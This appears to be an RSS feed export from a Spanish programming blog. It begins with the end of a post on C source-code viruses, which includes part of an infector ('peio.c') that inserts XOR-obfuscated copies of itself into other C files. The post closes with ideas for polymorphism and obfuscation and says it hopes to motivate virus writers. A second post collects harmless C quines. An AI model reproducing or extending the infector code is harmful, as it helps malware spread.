					for(i=(size+ihole-mpos)/thole;i&gt;=0;i--)
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);
					memcpy(ptr+size+ihole+thole+bhole, hashinc, ihole);
					bhole += ihole;
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] = \"");
					bhole += 22;
					for(i=0;i&lt;strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					memcpy(ptr+size+ihole+thole+bhole, hashbeg, strlen(hashbeg));
					bhole += strlen(hashbeg);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] = \"");
					bhole += 22;
					memcpy(ptr+size+ihole+thole+bhole, hashend, strlen(hashend));
					bhole += strlen(hashend);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;
					for(i=0;i&lt;strlen(hashend);i++)
						hashend[i] ^= 0x80;
					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
&lt;-----------------&gt;
&lt;--end of-peio.c--&gt;
&lt;-----------------&gt;</pre>
<p>Como vemos, los hashes están XOReados con 80h, y para poder escribir el código en el fichero destino, hay que volver a XORearlos. Esta manera de guardar los hashes abre una vía al polimorfismo, ya que en cada generación, la clave de encriptación con XOR podría variar desde 80h hasta FFh.</p>
<h3>Desarrollos futuros</h3>
<p>Estos ejemplos no son &#8220;fuego real&#8221;, hay numerosas imprecisiones y fallos en el código comentado. No obstante, seguimos en desarrollo de estos y nuevos ejemplos, tratando de incorporar más funcionalidades o nuevos enfoques.</p>
<p>Sobre todo, la parte más escandalosa es la relacionada con el tamaño del los arrays que contienen el código que queremos incluir. Resulta problemático tratar de imprimir algunos chars que caen dentro de las 32 primeras posiciones en la tabla ASCII, por lo que hay que observar cómo se resuelve este problema en otros escenarios como el envío de correo electrónico o las news. En este sentido podemos contemplar varias posibilidades:</p>
<p>1) El uso de uuencode/uudecode.</p>
<p>2) El uso de base64.</p>
<p>3) El uso de yEnc [14], una alternativa a los dos puntos anteriores que utiliza ASCII &gt; 127, pero consigue evitar los chars problemáticos (como NULL, DEL, etc.).</p>
<p>4) El uso de protocolos de conversión de arrays de chars propios con combinaciones de XORs, sumas, etc. mejorados, que incluyan compresión simple como pueda ser RLE.</p>
<p>Además de estas mejoras, podríamos pensar en incorporar oligomorfismo a los programas creando varias rutinas y &#8220;cifrando&#8221; con claves aleatorias en cada generación y varias rutinas de descifrado. Se presta mucho a este enfoque el virus &#8220;Peio&#8221;, donde las posibles claves hacen que existan 127 combinaciones diferentes a la hora de crear hashes.</p>
<p>Como pasos más posteriores los esfuerzos podrían encaminarse hacia la ofuscación total del código vírico, introducción de dicho código intercalado en el código original, o generación mediante instrucciones y funciones de los arrays que contienen el código (se trata de un número muy grande, podríamos crear código cuyo resultado fuese ese número y así no almacenarlo, sino generarlo cada vez).</p>
<h3>Conclusiones</h3>
<p>Los virus de código fuente no son una amenaza muy seria actualmente, pero si se perfeccionan las técnicas comentadas, podrían dar de qué hablar. Existen muchos métodos para auditar la integridad de los ficheros en disco como md5sum, tripwire, etc. Sin embargo, si extendemos la paranoia a todo bit que pase por nuestros circuitos, la amenaza de un primer compilador troyanizado todavía sobrevuela entre los sistemas UNIX.</p>
<p>Me gustaría que este texto sirviera para reflexionar acerca de este tema y que motivase a escritores de virus a desarrollar nuevas y mejores técnicas. No obstante, me considero un acérrimo defensor del Software Libre y de lo planteado por la Free Software Fundation y quisiera que este código sirviera para aumentar la seguridad dentro de la comunidad del software de código abierto y no para lo contrario.</p>
<h3>Enlaces de interés</h3>
<p><a title="#1" name="#1"></a>[1] Free Software Song: <a href="http://www.gnu.org/music/free-software-song.html">http://www.gnu.org/music/free-software-song.html</a></p>
<p><a title="#2" name="#2"></a>[2] Linux Malware: Debunking the myths. Phil d&#8217;Espace. Virus Bulletin, September &#8211; 2002: <a href="http://www.virusbtn.com/magazine/archives/200209/linux_malware.xml">http://www.virusbtn.com/magazine/archives/200209/linux_malware.xml</a></p>
<p><a title="#3" name="#3"></a>[3] BitchX 1.0c19 IRC Client Backdoored. <a href="http://slashdot.org/article.pl?sid=02/07/02/1327208&amp;mode=thread">http://slashdot.org/article.pl?sid=02/07/02/1327208&amp;mode=thread</a>, <a href="http://www.securityfocus.com/archive/1/280009/2002-06-28/2002-07-04/0">http://www.securityfocus.com/archive/1/280009/2002-06-28/2002-07-04/0</a></p>
<p><a title="#4" name="#4"></a>[4] Clues, Vandalism, Litter Sendmail Trojan Trail. <a href="http://www.securityfocus.com/news/1113">http://www.securityfocus.com/news/1113</a> , <a href="http://cert-nl.surfnet.nl/i/2002/I-02-03.htm">http://cert-nl.surfnet.nl/i/2002/I-02-03.htm</a></p>
<p><a title="#5" name="#5"></a>[5] Virus Encyclopedia, File Viruses, DOS: Urphin.1621. <a href="http://www.viruslist.com/eng/VirusList.asp?page=0&amp;mode=1&amp;id=2414&amp;key=000010000102404">http://www.viruslist.com/eng/VirusList.asp?page=0&amp;mode=1&amp;id=2414&amp;key=000010000102404</a></p>
<p><a title="#6" name="#6"></a>[6] The History of Computer Viruses. <a href="http://www.virus-scan-software.com/virus-scan-help/answers/the-history-of-computer-viruses.shtml">http://www.virus-scan-software.com/virus-scan-help/answers/the-history-of-computer-viruses.shtml</a></p>
<p><a title="#7" name="#7"></a>[7] Die-hard virus. <a href="http://www.pspl.com/virus_info/dos/diehard.htm">http://www.pspl.com/virus_info/dos/diehard.htm</a></p>
<p><a title="#8" name="#8"></a>[8] OBJ, LIB Viruses and Source Code Viruses. <a href="http://www.viruslist.com/eng/viruslistbooks.html?id=36">http://www.viruslist.com/eng/viruslistbooks.html?id=36</a></p>
<p><a title="#9" name="#9"></a>[9] Shell viruses. Gobleen Warrior &amp; zert. <a href="http://29a.host.sk/29a-6/29a-6.212">http://29a.host.sk/29a-6/29a-6.212</a></p>
<p><a title="#10" name="#10"></a>[10] Polymorphism/Encryption/EPO in Perl Viruses. SnakeByte. <a href="http://29a.host.sk/29a-6/29a-6.220">http://29a.host.sk/29a-6/29a-6.220</a></p>
<p><a title="#11" name="#11"></a>[11] Reflections on Trusting Trust. Ken Thompson. <a href="http://www.acm.org/classics/sep95/">http://www.acm.org/classics/sep95/</a></p>
<p><a title="#12" name="#12"></a>[12] Linux Security Auditing: Re: Reflections on Trusting Trust. <a href="http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0222.html">http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0222.html</a>, <a href="http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0226.html">http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0226.html</a></p>
<p><a title="#13" name="#13"></a>[13] Shared Source: A Dangerous Virus. <a href="http://www.opensource.org/advocacy/shared_source.php">http://www.opensource.org/advocacy/shared_source.php</a></p>
<p><a title="#14" name="#14"></a>[14] yEnc &#8211; Broken Tools. <a href="http://www.yenc.org/">http://www.yenc.org</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/64/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/64/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/64/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=64&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/dirp%20=%20readdir%28dd" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dirp-%3Ed_name,%20O_RDWR,%200" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/strstr%28bufname,%20%22/*%20sauce%21%20*/%22%29%3C=0" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,buffer,1024" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnmain%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnint%20main%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnvoid%20main%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnmain%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnint%20main%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer=%28int%29strstr%28buffer,%22%5Cnvoid%20main%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/posbuffer%20=%20%28int%29strstr%28buffer,%22%7B%5Cn%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,readbuffer,writebyte" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,readmain,writebyte" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/dir%20=%20readdir%28d" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dir-%3Ed_name,%20O_RDWR,%200" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnmain%28%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnint%20main%28%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnvoid%20main%28%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnmain%20%28%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnint%20main%20%28%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%5C%22%5C%5Cnvoid%20main%20%28%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/void%20*%29mpos,%20%5C%22;%5C%5Cn%5C%22%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctmpos%20-=%20%28int%29--ptr;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctif%28%20%21%28ipos%20=%20%28int%29strstr%28++ptr,%20%5C%22#include%20%3C%5C%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/void%20*%29ipos,%20%5C%22%5C%5Cn%5C%5Cn%5C%22%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctipos%20-=%20%28int%29ptr;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctihole%20=%20strlen%28hashinc%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctfor%28i=%28size-ipos%29/ihole;i%3E=0;i--%29%20%5Cn%5Ct%5Ct%5Ct%5Ct%5Ct%5Ctmemcpy%28ptr+ipos+i*ihole+ihole,%20ptr+ipos+i*ihole,%20ihole%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctmemcpy%28ptr+ipos,%20hashinc,%20ihole%29;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctmpos%20+=%20ihole;%5Cn%5Ct%5Ct%5Ct%5Ct%5Ctbuf%20=%20%28char%20*%29malloc%2820*sizeof%28char" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/dir%20=%20readdir%28d" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dir-%3Ed_name,%20O_RDWR,%200" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/dir%20=%20readdir%28d" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/fd=open%28dir-%3Ed_name,%20O_RDWR,%200" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnmain%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnint%20main%20%28%22" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/11/mpos=%28int%29strstr%28ptr,%22%5Cnvoid%20main%20%28%22" medium="image" />
	</item>
		<item>
		<title>Meta-programación (III): Colección de quines en C</title>
		<link>http://blog.txipinet.com/2007/01/07/60-meta-programacion-iii-coleccion-de-quines-en-c/</link>
		<comments>http://blog.txipinet.com/2007/01/07/60-meta-programacion-iii-coleccion-de-quines-en-c/#comments</comments>
		<pubDate>Sun, 07 Jan 2007 00:46:10 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[ejemplo]]></category>
		<category><![CDATA[Metaprogramación]]></category>
		<category><![CDATA[palíndromo]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[quine]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2007/01/07/meta-programacion-iii-coleccion-de-quines-en-c/</guid>
		<description><![CDATA[Siguiendo con los artículos anteriores sobre meta-programación y quines, os dejo una recopilación (extraída de varios sitios de quinéfilos como este ) de unos cuantos programas que generan su propio código en varios lenguajes de programación diferentes, para que veáis cómo se entretienen algunos hackers&#8230;

Quines en C

Autor: Desconocido (de The Jargon File)
Notas: Los primeros ejemplos [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=63&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Siguiendo con los artículos anteriores sobre meta-programación y quines, os dejo una recopilación (extraída de varios sitios de quinéfilos como <a href="http://www.uwm.edu/~chruska/recursive/selfish.html">este</a> ) de unos cuantos programas que generan su propio código en varios lenguajes de programación diferentes, para que veáis cómo se entretienen algunos hackers&#8230;</p>
<p><span id="more-63"></span></p>
<p class="post-content">Quines en C</p>
<ul>
<li>Autor: Desconocido (de The Jargon File)</li>
<li>Notas: Los primeros ejemplos son variaciones de quines de una línea en C estándar.</li>
</ul>
<pre>main(){char *c="main(){char *c=%c%s%c;printf(c,34,c,34);}";printf(c,34,c,34);}</pre>
<ul>
<li>Autor: Joe Miller</li>
<li>Notas: Provoca varios warnings, pero compila bien.</li>
</ul>
<pre>p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);}</pre>
<ul>
<li>Autor: John Burger, David Brill, Filip Machi</li>
</ul>
<pre>main(){char q=34,n=10,*a="main(){char q=34,n=10,*a=%c%s%c;printf(a,q,a,q,n);}%c";printf(a,q,a,q,n);}</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>main(){char*a="main(){char*a=%c%s%c;int b='%c';printf(a,b,a,b,b);}";int b='"';printf(a,b,a,b,b);}</pre>
<ul>
<li>Autor: Dario Dariol</li>
</ul>
<pre>main(a,b){a="main(a,b){a=%c%s%c;b='%c';printf(a,b,a,b,b);}";b='"';printf(a,b,a,b,b);}</pre>
<ul>
<li>Autor: Dario Dariol</li>
</ul>
<pre>main(a){printf(a="main(a){printf(a=%c%s%c,34,a,34);}",34,a,34);}</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>char *p="char *p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);}</pre>
<ul>
<li>Autor: Dario Dariol</li>
</ul>
<pre>main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);}</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>char f[] = "char f[] =%c%c%s%c;%cmain() {printf(f,10,34,f,34,10,10);}%c";main() {printf(f,10,34,f,34,10,10);}</pre>
<ul>
<li>Autor: Thad Smith</li>
<li>Notas: El autor afirma que este quine cumple estrictamente el estándar ANSI.</li>
</ul>
<pre>#include&lt;stdio.h&gt;
main(){char*c="\\\"#include&lt;stdio.h&gt;%cmain(){char*c=%c%c%c%.102s%cn%c;printf(c+2,c[102],c[1],*c,*c,c,*c,c[1]);exit(0);}\n";printf(c+2,c[102],c[1],*c,*c,c,*c,c[1]);exit(0);}</pre>
<ul>
<li>Autor: Torben Mogensen</li>
</ul>
<pre>char *a="\\\"char *a=%c%.1s%.1s%.71s%.1sn%c;main(){printf(a+2,a[1],a,a,a,a,a[1]);}\n";main(){printf(a+2,a[1],a,a,a,a,a[1]);}</pre>
<ul>
<li>Autor: Joe Miller</li>
</ul>
<pre>#define T(a) main(){printf(a,#a);}
T("#define T(a) main(){printf(a,#a);}\nT(%s)")</pre>
<ul>
<li>Autor:  Erkki Ruohtula (eru@tnso04.tele.nokia.fi)</li>
</ul>
<pre>#define n(v,w) v(#w"\nn("#v","#w")");}
n(main(){puts,#define n(v,w) v(#w"\nn("#v","#w")");})</pre>
<ul>
<li>Autor: Paul Hsieh</li>
</ul>
<pre>#define X(Y) main(){printf("#define X(Y) %s\nX(%s)\n",#Y,#Y);}
X(main(){printf("#define X(Y) %s\nX(%s)\n",#Y,#Y);})</pre>
<ul>
<li>Autor: James C Hu</li>
</ul>
<pre>#define q(k)main(){puts(#k"\nq("#k")");}
q(#define q(k)main(){puts(#k"\nq("#k")");})</pre>
<ul>
<li>Autor: James C Hu</li>
</ul>
<pre>#define q(k)main(){return!puts(#k"\nq("#k")");}
q(#define q(k)main(){return!puts(#k"\nq("#k")");})</pre>
<ul>
<li>Autor: Jeff Hollingsworth</li>
</ul>
<pre>#define Z(q)q,#q
main()printf(Z("#define Z(q)q,#q\nmain()printf(Z(%s));\n"));</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>char *f="char *f=%c%s%c;%c#define Q '%c'%c#define N '%cn'%c#define B '%c%c'%c#include &lt;stdio.h&gt;%cvoid main(){printf(f,Q,f,Q,N,Q,N,B,N,B,B,N,N,N);}%c";
#define Q '"'
#define N '\n'
#define B '\\'
#include &lt;stdio.h&gt;
void main(){printf(f,Q,f,Q,N,Q,N,B,N,B,B,N,N,N);}</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>char a[] = "int main(){ printf(b,34,a,34,10,34,b,34,10,10,a,10); }";
char b[] = "char a[] = %c%s%c;%cchar b[] = %c%s%c;%c%c%s%c";</pre>
<pre>int main(){ printf(b,34,a,34,10,34,b,34,10,10,a,10); }</pre>
<ul>
<li>Autor: Travis Emmit</li>
</ul>
<pre>char *s="rfns-.%uwnsyk-'hmfw%/xBa'*xa'@as'1x.@|mnqj-/x.uwnsyk-'*h'1/x002:.@";
main() {
printf("char *s=\"%s\";\n",s);
while(*s)printf("%c",*s++-5);
}</pre>
<ul>
<li>Autor: Mark Wooding</li>
</ul>
<pre>#include &lt;stdio.h&gt;
int main(void){char n='\n';char b='\\';char q='"';char*p="#include &lt;stdio.h&gt;%cint main(void){char n='%cn';char b='%c%c';char q='%c';char*p=%c%s%c;printf(p,n,b,b,b,q,q,p,q,n);return 0;}%c";printf(p,n,b,b,b,q,q,p,q,n);return 0;}</pre>
<ul>
<li>Autor: Caucci Luca (caucci@cs.unibo.it)</li>
</ul>
<pre>/*
   Questo programma visualizza il suo codice sorgente.
   * Autore: Caucci Luca (e-mail: caucci@cs.unibo.it)
*/
#include &lt;stdio.h&gt;</pre>
<pre>char *s = "/*%c   Questo programma visualizza il suo codice sorgente.%c   * Autore: Caucci Luca (e-mail: caucci@cs.unibo.it)%c*/%c#include &lt;stdio.h&gt;%c%cchar *s = %c%s%c;%c%cvoid main() {%c   printf(s, 10, 10, 10, 10, 10, 10, 34, s, 34, 10, 10, 10, 10, 10, 10);%c   return;%c}%c";

void main() {
   printf(s, 10, 10, 10, 10, 10, 10, 34, s, 34, 10, 10, 10, 10, 10, 10);
   return;
}</pre>
<ul>
<li>Autor: Caucci Luca (caucci@cs.unibo.it)</li>
</ul>
<pre>/*
	Questo programma visualizza il suo codice sorgente.
	* Autore: Luca Caucci (e-mail: caucci@cs.unibo.it)
*/</pre>
<pre>#include &lt;stdio.h&gt;</pre>
<pre>char NewLine = '\n', Tab = '\t', BackSlash = '\\', QuotMark = '"';
char Str[] = "/*%c%cQuesto programma visualizza il suo codice sorgente.%c%c* Autore: Luca Caucci (e-mail: caucci@cs.unibo.it)%c*/%c%c#include &lt;stdio.h&gt;%c%cchar NewLine = '%cn', Tab = '%ct', BackSlash = '%c%c', QuotMark = '%c';%cchar Str[] = %c%s%c;%c%cint main() {%c%cprintf(Str, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine, NewLine, NewLine, BackSlash, BackSlash, BackSlash, BackSlash, QuotMark, NewLine, QuotMark, Str, QuotMark, NewLine, NewLine, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine);%c%creturn(0);%c}%c%c";</pre>
<pre>int main() {
	printf(Str, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine, NewLine, NewLine, BackSlash, BackSlash, BackSlash, BackSlash, QuotMark, NewLine, QuotMark, Str, QuotMark,  NewLine, NewLine, NewLine, Tab, NewLine, Tab, NewLine, NewLine, NewLine);
	return(0);
}</pre>
<ul>
<li>Autor: Daniel Martin</li>
</ul>
<pre>#include&lt;stdio.h&gt;
char a[] = "\";\nmain() {char *b=a;printf(\"#include&lt;stdio.h&gt;\\nchar a[] = \\\"\");\nfor(;*b;b++) {switch(*b){case '\\n': printf(\"\\\\n\"); break;\ncase '\\\\': case '\\\"': putchar('\\\\'); default: putchar(*b);}} printf(a);}\n";
main() {char *b=a;printf("#include&lt;stdio.h&gt;\nchar a[] = \"");
for(;*b;b++) {switch(*b){case '\n': printf("\\n"); break;
case '\\': case '\"': putchar('\\'); default: putchar(*b);}} printf(a);}</pre>
<ul>
<li>Autor: Jan Willem</li>
</ul>
<pre>#define s "#define s %c%s%c%c#include &lt;stdio.h&gt;%cvoid main() { printf(%c%s%c,34,s,34,10,10,34,s,34); }" #include &lt;stdio.h&gt;
void main() { printf("#define s %c%s%c%c#include &lt;stdio.h&gt;%cvoid main() { printf(%c%s%c,34,s,34,10,10,34,s,34); }",34,s,34,10,10,34,s,34); }</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>void p(char *s){char *t;printf("%s(\"",s);for(t=s; *t!=0; t++)switch(*t){case '\\':case '\"':case'\'':putchar('\\');default:putchar(*t);}printf("\");}");}void main(){p("void p(char *s){char *t;printf(\"%s(\\\"\",s);for(t=s; *t!=0; t++)switch(*t){case \'\\\\\':case \'\\\"\':case\'\\\'\':putchar(\'\\\\\');default:putchar(*t);}printf(\"\\\");}\");}void main(){p");}</pre>
<ul>
<li>Autor: Michael Mauldin</li>
</ul>
<pre>char *x="\";\nmain ()\n{ char *s;\n printf (\"char *x=\\\"\");\n for(s=x;*s;s++)\n { printf
(*s=='\\\\'?\"\\\\\\\\\":*s=='\\\"'?\"\\\\\\\"\":*s=='\\n'?\"\\\\n\":\"%c\", *s); }\n printf (\"%s\", x);\n}\n";
main ()
{ char *s;
printf ("char *x=\"");
for(s=x;*s;s++)
{ printf (*s=='\\'?"\\\\":*s=='\"'?"\\\"":*s=='\n'?"\\n":"%c", *s); } printf ("%s", x);
}</pre>
<ul>
<li>Autor: Dave English &lt;davide@sequent.com&gt;</li>
</ul>
<pre>char x[]=" main() { int i; putchar(99); putchar(104); putchar(97); putchar(114); putchar(32);
putchar(120); putchar(91); putchar(93); putchar(61); putchar(34); for(i=0; i&lt;strlen(x); ++i)
putchar(x[i]); putchar(34); putchar(59); for(i=0; i&lt;strlen(x); ++i) putchar(x[i]); putchar(10); }";
main() { int i; putchar(99); putchar(104); putchar(97); putchar(114); putchar(32); putchar(120);
putchar(91); putchar(93); putchar(61); putchar(34); for(i=0; i&lt;strlen(x); ++i) putchar(x[i]);
putchar(34); putchar(59); for(i=0 ; i&lt;strlen(x); ++i) putchar(x[i]); putchar(10); }</pre>
<ul>
<li>Autor: Charles B Cranston (zben@ni.umd.edu)</li>
</ul>
<pre>main(){char*s="main(){char*s=%c%s%c;%cprintf(%c%s%c,34,s,34,10,34,s,34,10);}%c";
printf("main(){char*s=%c%s%c;%cprintf(%c%s%c,34,s,34,10,34,s,34,10);}%c",34,s,34,10,34,s,34,10);}</pre>
<ul>
<li>Autor: John Hagerman</li>
</ul>
<pre>#define p(s) printf("%s\n",s);
#define q(v,s) printf("r(%s,%s)\n",#v,s);
#define r(v,s) char*v=#s;
#define m main(){p(x)p(y)p(z)p(n)q(x,x)q(y,y)q(z,z)q(n,n)p("m")}
r(x,#define p(s) printf("%s\n",s);)
r(y,#define q(v,s) printf("r(%s,%s)\n",#v,s);)
r(z,#define r(v,s) char*v=#s;)
r(n,#define m main(){p(x)p(y)p(z)p(n)q(x,x)q(y,y)q(z,z)q(n,n)p("m")}) m</pre>
<ul>
<li>Autor: Xiao Zhiwei</li>
</ul>
<pre>#include
main()
{char* list="
printf(%c#include %cn%c);
printf(%cmain()%cn%c);
printf(%c{%c);
printf(%cchar* list=%cc%c,34);
printf(%c%cs%c, list);
printf(%c%cc;%c,34);
printf(list,34,92,34,34,92,34,34,34,34,37,34,34,37,34,34,37,34);}
";
printf("#include \n");
printf("main()\n");
printf("{");
printf("char* list=%c",34);
printf("%s", list);
printf("%c;",34);
printf(list,34,92,34,34,92,34,34,34,34,37,34,34,37,34,34,37,34);}</pre>
<ul>
<li>Autor: Dave Harif</li>
</ul>
<pre>#include &lt;stdio.h&gt;
#define d "\\"
#define c "\n"
#define b "\""
#define a "#include &lt;stdio.h&gt;%s#define d %s%s%s%s%s#define c %s%sn%s%s#define b %s%s%s%s%s#define a %s%s%s%smain(){printf(a,c,b,d,d,b,c,b,d,b,c,b,d,b,b,c,b,a,b,c,c);}%s"
main(){printf(a,c,b,d,d,b,c,b,d,b,c,b,d,b,b,c,b,a,b,c,c);}</pre>
<ul>
<li>Autor: Kennth Almquist</li>
</ul>
<pre>char*p="char*p=15415,4*x=52?33/n33/55,c,n,*q;main()33'0'&amp;c&lt;'6'?c&lt;*x?n=69,'5':*(c-*x+x):c);return 0;33&gt;4",   *x="2???/n??/"",c,n,*q;main()??'0'&amp;c&lt;'6'?c&lt;*x?n=69,'"':*(c-*x+x):c);return 0;??&gt;</pre>
<ul>
<li>Autor: Zefram (A.Main@dcs.warwick.ac.uk)</li>
</ul>
<pre>char *f="%c%s%c,";
#include &lt;stdio.h&gt;
char*x[]={
"char *f=%c%s%c;",
"#include &lt;stdio.h&gt;",
"char*x[]={",
"},z=0;main(){int n;",
"printf(*x,34,f,34);puts(&amp;z);",
"puts(x[1]);puts(x[2]);",
